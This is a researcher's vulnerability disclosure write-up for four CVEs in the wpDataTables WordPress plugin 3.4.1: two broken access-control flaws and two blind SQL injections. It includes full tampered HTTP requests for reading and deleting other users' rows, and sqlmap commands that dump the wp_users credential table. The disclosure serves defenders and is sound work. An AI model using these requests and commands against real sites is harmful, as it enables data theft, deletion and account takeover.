The Tales of N4nj0

WordPress Plugin wpDataTables - Multiple Vulnerabilities

TL;DR

Me and my colleague Massimiliano Ferraresi have found four security issues:

1 - Improper Access Control: An authenticated user that visits the page where the table is published can tamper the parameters to access the data of another user that are present in the same table by taking over the user permissions on the table through formdata[wdt_ID] parameter.
2 - Improper Access Control: An authenticated user that visits the page where the table is published can tamper the parameters to delete the data of another user that are present in the same table through id_key and id_val parameters.
3 - SQL Injection: An authenticated user on the WordPress interface that visits the page where the tables are listed can perform a SQL injection attack in the table search parameter start.
4 - SQL Injection: An authenticated user on the WordPress interface that visits the page where the tables are listed can perform a SQL injection attack in the table search parameter length.

Plugin Information

wpDataTables is a best-selling WordPress table plugin which makes very easy to work with tables, charts and data management. It is currently used by 40,000+ companies and individuals in financial, scientific, statistical, commercial and other sectors.

During another security auditing of the product, we have found four security issues. The first two are broken access controls on accessing and deleting data on the same table. Also, the other two are Blind SQL Injections on 2 different parameters.

The fix was developed with the release 3.4.2, 16 days after our vulnerability disclosure. This time they didn’t mention us, maybe we have created some troubles for them.

For all folks of wpDataTables Team: No problem for us, the important thing is to collaborate and make the products more secure as possible. See you soon 😘

Vulnerability Details

1 - Software does not restrict or incorrectly restricts access to a resource from an unauthorized actor - CWE-284

  • Summary: An authenticated user can tamper HTTP parameters to access to the data on the table of another user by taking over the user permissions on the table.
  • Prerequisites: A simple table with the settings of Enable of front-end editing and Limiting editing to own data only needs to be created and published in a page on WordPress.
  • CVE and CVSS Score: CVE-2021-24197 | 8.1 (High)

Step-by-step instructions and PoC

First, it is necessary to create a simple table with three columns and two or more rows. Then, the table can be published on a page with the following settings:

  • Allow front-end editing
  • Limit editing to own data only

An authenticated user that visits the page where the table is published can tamper the parameters to access the data of another user that are present in the same table through formdata[wdt_ID] parameter.

Affected Endpoints

Below are the evidences with the vulnerability details and the payloads used.

The starting point is a standard installation of WordPress version 5.6 (the latest), with a fresh install of the wpDataTables plugin, without further configuration. After the plugin installation, it is necessary to create a simple table used for the vulnerability PoC.

To create the table, login to WordPress as admin.
Under wpDataTables -> Create a Table, select Create a data table manually and then Next.

Creation of the table

The table can have simple data, like the following: * Table name: products * Number of columns: 3 * Column 1: * Name: name * Type: One line string * Column 2: * Name: price * Type: Float * Column 3 (The User ID column is responsible to manage the user’s authorizations); * Name: User ID * Type: Integer

Add the table data via the web interface:

Confirm the table with Create the table -> Open in Standard view
Insert three rows with some data, in the userid column is necessary to insert the ID of WordPress users. For PoC we registered two users max (id=1) and test (id=2)

Insert value Under Editing click on Allow front-end editing and on Limiting editing to own data only. After this operation under the User ID column select userid like the image below:

Set the permission

In this way the plugin can show the data depending on the userid value.
To publish the table it is necessary to copy its shortcode on the home page.

Insert shortcode)

Login through WordPress with the user test (id=2), then go on the page http://hostname/home/ and the table will show only the record for this specific user:

Data test user

Click on New Entry and add new record on the table:

Add new entry

With the HTTP Proxy like Burp Suite intercept the request for adding a new record:

Burp - Add request

This is the intercepted request:

POST /portal/wp-admin/admin-ajax.php HTTP/1.1
Host: hostname
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://hostname/portal/home/
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 175
DNT: 1
Connection: close
Cookie: [REDACTED]

action=wdt_save_table_frontend&wdtNonce=55f87706c7&formdata%5Btable_id%5D=19&formdata%5Bwdt_ID%5D=&formdata%5Bname%5D=arduino&formdata%5Bprice%5D=10%2C00&formdata%5Buserid%5D=

For exploiting this vulnerability is necessary to change the value of formdata[wdt_ID] to 1 and then delete the following fields from the HTTP request:

formdata%5Bname%5D=arduino&formdata%5Bprice%5D=10%2C00&formdata%5Buserid%5D=

The new HTTP request to change the permission on the table will be like the following:

POST /portal/wp-admin/admin-ajax.php HTTP/1.1
Host: hostname
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://hostname/portal/home/
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 175
DNT: 1
Connection: close
Cookie: [REDACTED]

action=wdt_save_table_frontend&wdtNonce=55f87706c7&formdata%5Btable_id%5D=19&formdata%5Bwdt_ID%5D=1

The image below shows the correct request/response received from the server:

Burp - Modified request

In this way with the user test (id=2) we are able to overwrite the value of userid and then we can view and manage the data of the user max (id=1), as depicted by the following screenshot:

Takeover of data permissions

The vulnerability is tested on wpDataTables version 3.4.1:

Vulnerable version confirmation - wpDataTables 3.4.1

Security Impact

By exploiting this issue an attacker is able to access and manage the data of all users in the same table.

2 - Software does not restrict or incorrectly restricts access to a resource from an unauthorized actor - CWE-284

  • Summary: An authenticated user can tamper HTTP parameters to delete the data in the table of another user.
  • Prerequisites: A simple table with the settings of Enable of front-end editing and Limiting editing to own data only needs to be created and published in a page on WordPress.
  • CVE and CVSS Score: CVE-2021-24198 | 8.1 (High)

Step-by-step instructions and PoC

First, it is necessary to create a simple table with three columns and two or more rows. Then, the table can be published on a page with the following settings:

  • Allow front-end editing
  • Limit editing to own data only

An authenticated user that visits the page where the table is published can tamper the parameters to delete the data of another user that are present in the same table through id_key and id_val parameters.

Affected Endpoints

Below are the evidences with the vulnerability details and the payloads used.

The starting point is a standard installation of WordPress version 5.6 (the latest), with a fresh install of the wpDataTables plugin, without further configuration. After the plugin installation, it is necessary to create a simple table used for the vulnerability PoC.

To create the table, use the same steps of the previous vulnerability.

Login through WordPress with the user test (id=2), then go on the page http://hostname/home/ and the table will show only the record for this specific user:

Data test user

Click on Delete and delete the record on the table:

Delete entry

With the HTTP Proxy like Burp Suite intercept the request for deleting the record:

Burp - Add request

This is the intercepted request:

POST /portal/wp-admin/admin-ajax.php HTTP/1.1
Host: hostname
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://hostname/portal/home/
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 175
DNT: 1
Connection: close
Cookie: [REDACTED]

action=wdt_delete_table_row&id_key=wdt_ID&id_val=2&table_id=21&wdtNonce=2fe2c28b36

For exploiting this vulnerability is necessary to change the value of id_key to userid and the id_val to 1:

action=wdt_delete_table_row&id_key=userid&id_val=1&table_id=21&wdtNonce=2fe2c28b36

The new HTTP request to change the permission on the table will be like the following:

POST /portal/wp-admin/admin-ajax.php HTTP/1.1
Host: hostname
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://hostname/portal/home/
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 175
DNT: 1
Connection: close
Cookie: [REDACTED]

action=wdt_delete_table_row&id_key=userid&id_val=1&table_id=21&wdtNonce=2fe2c28b36

The image below shows the correct request/response received from the server:

Burp - Modified request

In this way with the user test (id=2) we are able to delete all the values of the user max (id=1), as depicted by the following screenshot:

Takeover of data permissions

The vulnerability is tested on wpDataTables version 3.4.1:

Vulnerable version confirmation - wpDataTables 3.4.1

Important Note

In the id_key parameter it is possible to insert any column name that are presents in the table (string datatype).

The id_val parameter supports only int and float datatype.

So, with these parameters it is possible to delete all records in the database that respect this condition, because of the query in the code that is similar to the following:

DELETE FROM wp_wpdatatable_19 WHERE id_key=id_val -- id_val is datatype int or float;

Security Impact

By exploiting this issue an attacker is able to delete the data of all users in the same table.

3 - Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’) - CWE-89

  • Summary: An authenticated user can perform a SQL injection attack to access all the data in the database and obtain access to the WordPress application.
  • Prerequisites: WordPress account. Also, a simple table with default settings needs to be created via the web interface.
  • CVE and CVSS Score: CVE-2021-24199 | 6.5 (Medium)

Step-by-step instructions and PoC

First, it is necessary to create a simple table with two columns and two rows. Then, an authenticated user on the WordPress interface that visits the page where the tables are listed can perform a SQL injection attack in the table search parameter start.

Affected Endpoints

Below are the evidences with the vulnerability details and the payloads used.

The starting point is a standard installation of WordPress version 5.6 (the latest), with a fresh install of the wpDataTables plugin, without further configuration. After the plugin installation, it is necessary to create a simple table used for the vulnerability PoC.

To create the table, login to WordPress as admin.
Under wpDataTables -> Create a Table, select Create a data table manually and then Next.

Creation of the table (1)

The table can have simple data, like the following: * Table name: products * Number of columns: 2 * Column 1: * Name: name * Type: One line string * Column 2: * Name: price * Type: Integer

Add the table data via the web interface:

Creation of the table (2)

Confirm the table with Create the table -> Open in Excel-like editor
Insert two rows with some data , like the following picture, then confirm with Save Changes:

Creation of the table (3)

Re-login or leave the authenticated session.
On thew WordPress administrative page, under Dashboard, select wpDataTables menu:

Selection of the table (1)

Select the table name, products in this case.

Selection of the table (2)

Intercept the browser session with a proxy like Burp Suite.
The HTTP POST request will be like the following:

Burp - Selection of the table

Copy the intercepted request, and paste the content a text file named draw.txt, similar to the following one:

POST /wp-admin/admin-ajax.php?action=get_wdtable&table_id=1 HTTP/1.1
Host: hostname
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://hostname/wp-admin/admin.php?page=wpdatatables-constructor&source&table_id=1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 1044
Origin: http://hostname
Connection: close
Cookie: wordpress_55f2ba4d3fe29d8de44211c463b1efe7=admin%7C1613576095%7CVxLK5MvQeqjUfOzdq5Kilo2JSGijjIIduyf6hzezC2y%7C69fdaaf35f2fea0cfe3ff830a3917370ed5dc49b4637c1945177e57d6228703e; wpsc_ticket_filter=%7B%22label%22%3A%22unresolved_agent%22%2C%22query%22%3A%5B%7B%22key%22%3A%22ticket_status%22%2C%22value%22%3A%5B3%2C4%2C5%5D%2C%22compare%22%3A%22IN%22%7D%5D%2C%22orderby%22%3A%22date_updated%22%2C%22order%22%3A%22DESC%22%2C%22page%22%3A1%2C%22custom_filter%22%3A%7B%22s%22%3A%22%22%7D%7D; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_55f2ba4d3fe29d8de44211c463b1efe7=admin%7C1613576095%7CVxLK5MvQeqjUfOzdq5Kilo2JSGijjIIduyf6hzezC2y%7C1aa7b20915d029cb8a392b0ad91edf1b3d1660efd91dff46e513a372e4b855a2; wp-settings-1=libraryContent%3Dbrowse%26mfold%3Do; wp-settings-time-1=1613403295

draw=1&columns%5B0%5D%5Bdata%5D=0&columns%5B0%5D%5Bname%5D=wdt_ID&columns%5B0%5D%5Bsearchable%5D=true&columns%5B0%5D%5Borderable%5D=true&columns%5B0%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B0%5D%5Bsearch%5D%5Bregex%5D=false&columns%5B1%5D%5Bdata%5D=1&columns%5B1%5D%5Bname%5D=name&columns%5B1%5D%5Bsearchable%5D=true&columns%5B1%5D%5Borderable%5D=true&columns%5B1%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B1%5D%5Bsearch%5D%5Bregex%5D=false&columns%5B2%5D%5Bdata%5D=2&columns%5B2%5D%5Bname%5D=price&columns%5B2%5D%5Bsearchable%5D=true&columns%5B2%5D%5Borderable%5D=true&columns%5B2%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B2%5D%5Bsearch%5D%5Bregex%5D=false&order%5B0%5D%5Bcolumn%5D=0&order%5B0%5D%5Bdir%5D=asc&start=0&length=10&search%5Bvalue%5D=&search%5Bregex%5D=false&currentUserId=1&currentUserLogin=admin&currentPostIdPlaceholder=&currentUserFirstName=&currentUserLastName=&currentUserEmail=test%40mail.com&currentDate=15%2F02%2F2021&currentDateTime=15%2F02%2F2021+03%3A40+PM&currentTime=03%3A40+PM&wpdbPlaceholder=wp_&wdtNonce=7a0d38fc5e&showAllRows=on

Then, use the SQLMap tool to exploit the vulnerability with the following command:

# Clear SQLMap local cache:
rm -rf ~/.local/share/sqlmap
sqlmap -r draw.txt --level=5 --risk=3 --random-agent --dbms=mysql --banner -p start --batch

The banner of the database is gathered as PoC of the vulnerability:

SQLMap - Banner

It is possible to dump all the WordPress database to extract the credentials. If a successful password cracking attack is accomplished, an attacker can use the credentials to login to the WordPress admin page.
To extract the wp_users table, use the following command:

sqlmap -r draw.txt --level=5 --risk=3 --random-agent --dbms=mysql -p start -D wordpress -T wp_users --dump

SQLMap - Database dump

The vulnerability is tested on wpDataTables version 3.4.1, as depicted by the following screenshot:

Vulnerable version confirmation - wpDataTables 3.4.1

Security Impact

By exploiting this issue an attacker is able to access all the data in the database and obtain access to the WordPress application, because all the data, including WordPress credentials, can be extracted and cracked.
It is important to note that a valid WordPress administrator account is also able to execute Remote Code Execution attack because of the capability of installing or modifying existing plugins or themes via the web interface. This scenario allows the entire compromise of the target operating system where wpDataTables is installed.

4 - Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’) - CWE-89

  • Summary: An authenticated user can perform a SQL injection attack to access all the data in the database and obtain access to the WordPress application.
  • Prerequisites: WordPress account. Also, a simple table with default settings needs to be created via the web interface.
  • CVE and CVSS Score: CVE-2021-24200 | 6.5 (Medium)

Step-by-step instructions and PoC

First, it is necessary to create a simple table with two columns and two rows. Then, an authenticated user on the WordPress interface that visits the page where the tables are listed can perform a SQL injection attack in the table search parameter length.

Affected Endpoints

Below are the evidences with the vulnerability details and the payloads used.

The starting point is a standard installation of WordPress version 5.6 (the latest), with a fresh install of the wpDataTables plugin, without further configuration. After the plugin installation, it is necessary to create a simple table used for the vulnerability PoC.

To create the table, use the same steps of the previous vulnerability.

Re-login or leave the authenticated session.
On thew WordPress administrative page, under Dashboard, select wpDataTables menu:

Selection of the table (1)

Select the table name, products in this case.

Selection of the table (2)

Intercept the browser session with a proxy like Burp Suite.
The HTTP POST request will be like the following:

Burp - Selection of the table

Copy the intercepted request, and paste the content a text file named draw.txt, similar to the following one:

POST /wp-admin/admin-ajax.php?action=get_wdtable&table_id=1 HTTP/1.1
Host: hostname
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://hostname/wp-admin/admin.php?page=wpdatatables-constructor&source&table_id=1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 1044
Origin: http://hostname
Connection: close
Cookie: wordpress_55f2ba4d3fe29d8de44211c463b1efe7=admin%7C1613576095%7CVxLK5MvQeqjUfOzdq5Kilo2JSGijjIIduyf6hzezC2y%7C69fdaaf35f2fea0cfe3ff830a3917370ed5dc49b4637c1945177e57d6228703e; wpsc_ticket_filter=%7B%22label%22%3A%22unresolved_agent%22%2C%22query%22%3A%5B%7B%22key%22%3A%22ticket_status%22%2C%22value%22%3A%5B3%2C4%2C5%5D%2C%22compare%22%3A%22IN%22%7D%5D%2C%22orderby%22%3A%22date_updated%22%2C%22order%22%3A%22DESC%22%2C%22page%22%3A1%2C%22custom_filter%22%3A%7B%22s%22%3A%22%22%7D%7D; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_55f2ba4d3fe29d8de44211c463b1efe7=admin%7C1613576095%7CVxLK5MvQeqjUfOzdq5Kilo2JSGijjIIduyf6hzezC2y%7C1aa7b20915d029cb8a392b0ad91edf1b3d1660efd91dff46e513a372e4b855a2; wp-settings-1=libraryContent%3Dbrowse%26mfold%3Do; wp-settings-time-1=1613403295

draw=1&columns%5B0%5D%5Bdata%5D=0&columns%5B0%5D%5Bname%5D=wdt_ID&columns%5B0%5D%5Bsearchable%5D=true&columns%5B0%5D%5Borderable%5D=true&columns%5B0%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B0%5D%5Bsearch%5D%5Bregex%5D=false&columns%5B1%5D%5Bdata%5D=1&columns%5B1%5D%5Bname%5D=name&columns%5B1%5D%5Bsearchable%5D=true&columns%5B1%5D%5Borderable%5D=true&columns%5B1%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B1%5D%5Bsearch%5D%5Bregex%5D=false&columns%5B2%5D%5Bdata%5D=2&columns%5B2%5D%5Bname%5D=price&columns%5B2%5D%5Bsearchable%5D=true&columns%5B2%5D%5Borderable%5D=true&columns%5B2%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B2%5D%5Bsearch%5D%5Bregex%5D=false&order%5B0%5D%5Bcolumn%5D=0&order%5B0%5D%5Bdir%5D=asc&start=0&length=10&search%5Bvalue%5D=&search%5Bregex%5D=false&currentUserId=1&currentUserLogin=admin&currentPostIdPlaceholder=&currentUserFirstName=&currentUserLastName=&currentUserEmail=test%40mail.com&currentDate=15%2F02%2F2021&currentDateTime=15%2F02%2F2021+03%3A40+PM&currentTime=03%3A40+PM&wpdbPlaceholder=wp_&wdtNonce=7a0d38fc5e&showAllRows=on

Then, use the SQLMap tool to exploit the vulnerability with the following command:

# Clear SQLMap local cache:
rm -rf ~/.local/share/sqlmap
sqlmap -r draw.txt --level=5 --risk=3 --random-agent --dbms=mysql --banner -p length --batch

The banner of the database is gathered as PoC of the vulnerability:

SQLMap - Banner

It is possible to dump all the WordPress database to extract the credentials. If a successful password cracking attack is accomplished, an attacker can use the credentials to login to the WordPress admin page.
To extract the wp_users table, use the following command:

sqlmap -r draw.txt --level=5 --risk=3 --random-agent --dbms=mysql -p length -D wordpress -T wp_users --dump

SQLMap - Database dump

The vulnerability is tested on wpDataTables version 3.4.1, as depicted by the following screenshot:

Vulnerable version confirmation - wpDataTables 3.4.1

Security Impact

By exploiting this issue an attacker is able to access all the data in the database and obtain access to the WordPress application, because all the data, including WordPress credentials, can be extracted and cracked.
It is important to note that a valid WordPress administrator account is also able to execute Remote Code Execution attack because of the capability of installing or modifying existing plugins or themes via the web interface. This scenario allows the entire compromise of the target operating system where wpDataTables is installed.

Timeline

  • 22/02/2021: First disclosure via private ticket on the Technical Support Web Page.
  • 23/02/2021: Ticket acknowledge e-mail from Technical Support!
  • 05/02/2021: Ticket closed, and stated that the fix will be included in the next update. (Not so) kind regards…
  • 10/03/2021: Released the version 3.4.2, which has the fix for the vulnerabilities. Check the Changelog.
  • 17/03/2021: Reserved CVEs by WPScan, as from 2021 it has been named a CNA for WordPress core, plugin and theme CVEs. Check here for further information.
  • 13/04/2021: NVD scored CVE-2021-24197 and CVE-2021-24198 as 8.1 (High), CVE-2021-24199 and CVE-2021-24200 as 6.5 (Medium).